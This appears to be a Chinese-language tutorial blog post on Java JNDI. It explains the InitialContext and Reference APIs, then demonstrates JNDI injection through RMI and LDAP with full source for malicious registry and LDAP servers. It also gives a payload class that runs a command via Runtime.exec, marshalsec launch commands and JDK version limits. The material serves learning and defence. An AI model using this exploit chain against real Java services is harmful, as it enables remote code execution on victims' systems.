JNDI

JNDI

1、概念

JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目錄介面。包括Naming Service和Directory Service,允許客戶端通過名稱發現和查找數據、對象。這些對象可以存儲在不同的命名或目錄服務中,例如遠程方法調用(RMI),公共對象請求代理體系結構(CORBA),輕型目錄訪問協議(LDAP)或域名服務(DNS)

2、前置知識

2.1、InitialContext

構造方法

//初始化一個上下文
InitialContext()
//構造一個初始上下文,並選擇不初始化它。 
InitialContext(boolean lazy)
//使用提供的環境構建初始上下文。
InitialContext(Hashtable<?,?> environment)

常用方法

//	將名稱綁定到對象。 
bind(Name name, Object obj) 
//枚舉在命名上下文中綁定的名稱以及綁定到它們的對象的類名。
list(String name) 
//	檢索命名對象。 
lookup(String name) 
//將名稱綁定到對象,覆蓋任何現有綁定
rebind(String name, Object obj) 
//取消綁定命名對象。
unbind(String name) 

程式碼實例

String uri = "rmi://127.0.0.1:1099/work";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);

2.2、Reference

Reference是java中的引用類,該類表示對在命名/目錄系統外部找到的對象的引用。提供了JNDI中類的引用功能。

構造方法

Reference(String className)
為類名為「className」的對象構造一個新的引用。
Reference(String className, RefAddr addr)
為類名為「className」的對象和地址構造一個新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation)
為類名為「className」的對象,對象工廠的類名和位置以及對象的地址構造一個新引用。
Reference(String className, String factory, String factoryLocation)
為類名為「className」的對象以及對象工廠的類名和位置構造一個新引用。

Reference的主要參數

  1. className - 遠程載入時所使用的類名,如果本地找不到這個類名,就去遠程載入
  2. factory - 包含用於創建此引用引用的對象的實例的工廠類的名稱。
  3. factoryLocation - 工廠類載入的地址,可以是file://、ftp://、// 等協議

常用方法

void	add(int posn, RefAddr addr)
將地址添加到索引posn的地址列表中。
void	add(RefAddr addr)
將地址添加到地址列表的末尾。
void	clear()
從此引用中刪除所有地址。
Object	clone()
使用其類別名稱列表的地址,類工廠名稱和類工廠位置創建此引用的副本。
boolean	equals(Object obj)
確定obj是否是具有與該引用相同的地址(以相同的順序)的引用。
RefAddr	get(int posn)
檢索索引posn上的地址。
RefAddr	get(String addrType)
檢索地址類型為「addrType」的第一個地址。
Enumeration<RefAddr>	getAll()
檢索本參考文獻中地址的列舉。
String	getClassName()
檢索引用引用的對象的類名。
String	getFactoryClassLocation()
檢索此引用引用的對象的工廠位置。
String	getFactoryClassName()
檢索此引用引用對象的工廠的類名。
int	hashCode()
計算此引用的哈希碼。
Object	remove(int posn)
從地址列表中刪除索引posn上的地址。
int	size()
檢索此引用中的地址數。
String	toString()
生成此引用的字元串表示形式。

2.3、ReferenceWrapper

ReferenceWrapper類對Reference類或其子類對象進行遠程包裝使其能夠被遠程訪問

類也很簡單,主要通過構造方法獲取Reference,同時繼承了UnicastRemoteObject。

public class ReferenceWrapper extends UnicastRemoteObject implements RemoteReference {
    protected Reference wrappee;
    private static final long serialVersionUID = 6078186197417641456L;

    public ReferenceWrapper(Reference var1) throws NamingException, RemoteException {
        this.wrappee = var1;
    }

    public Reference getReference() throws RemoteException {
        return this.wrappee;
    }
}

3、JNDI注入攻擊

jndi注入有很多種攻擊方式,這裡只展示rmi和ldap方式,其他可以學習//paper.seebug.org/1207/#

環境jdk1.8u66

3.1、JNDI+RMI

RMIServer

package com.akkacloud.jndi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer1 {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        System.out.println("registry is runing in 1099");
        //創建新的引用類,用於引用惡意類
        Reference reference = new Reference("Calc", "com.akkacloud.jndi.Calc", "//127.0.0.1:8000/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("obj",referenceWrapper);


    }
}

Calc(惡意類)

package com.akkacloud.jndi;

import java.io.IOException;

public class Calc {
    public Calc() throws IOException {
        Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
    }

}

RMIClient

package com.akkacloud.jndi;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;


public class RMIClient1 {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        String url = "rmi://localhost:1099/obj";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);
    }
}

首先編譯我們的惡意程式碼文件掛在至網站

 % javac Calc.java 
 % python3 -m http.server

image-20220408234224417

運行RMIServer

image-20220408234302143

運行RMICilent

image-20220408234341892

如果高版本(我這裡是8u291)則會存在報錯

system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.

image-20220408234706732

還有就是使用marshalsec啟動rmi服務

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer //ip:80/#ExportObject 1099

3.2、JDNI+LDAP

由於JNDI注入動態載入的原理是使用Reference引用Object Factory類,其內部在上文中也分析到了使用的是URLClassLoader,所以不受java.rmi.server.useCodebaseOnly=false

  1. JDK 5U45、6U45、7u21、8u121 開始 java.rmi.server.useCodebaseOnly 默認配置為true
  2. JDK 6u132、7u122、8u113 開始 com.sun.jndi.rmi.object.trustURLCodebase 默認值為false
  3. JDK 11.0.1、8u191、7u201、6u211 com.sun.jndi.ldap.object.trustURLCodebase 默認為false

image.png

圖引用於 //xz.aliyun.com/t/6633

導入依賴

<dependency>
  <groupId>com.unboundid</groupId>
  <artifactId>unboundid-ldapsdk</artifactId>
  <version>3.2.0</version>
</dependency>

ldapServer

package com.akkacloud.jndi;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class Ldap {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main(String[] argsx) {
        String[] args = new String[]{"//127.0.0.1:8000/#Calc", "9999"};
        int port = 0;
        if (args.length < 1 || args[0].indexOf('#') < 0) {
            System.err.println(Ldap.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
            System.exit(-1);
        } else if (args.length > 1) {
            port = Integer.parseInt(args[1]);
        }

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        /**
         *
         */
        public OperationInterceptor(URL cb) {
            this.codebase = cb;
        }

        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            } catch (Exception e1) {
                e1.printStackTrace();
            }

        }

        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if (refPos > 0) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

client

package com.akkacloud.jndi;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LdapClient {
    public static void main(String[] args) throws NamingException {
        String uri = "ldap://127.0.0.1:9999/calc";
        Context ctx = new InitialContext();
        ctx.lookup(uri);
    }
}

啟動web服務,把惡意文件編譯成class文件掛在web服務目錄下,惡意文件不能包含package資訊

image-20220409003420262

image-20220409003434656

其實實戰可以使用marshalsec啟動一個ldap服務,客戶端還是一樣的

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer //127.0.0.1:8000/#Calc 1389

image-20220409004039991

web服務

python3 -m http.server

image-20220409003726387

參考

//www.cnblogs.com/nice0e3/p/13958047.html

//paper.seebug.org/1091

//y4er.com/post/attack-java-jndi-rmi-ldap-2/

//paper.seebug.org/1207/#ldap

Tags: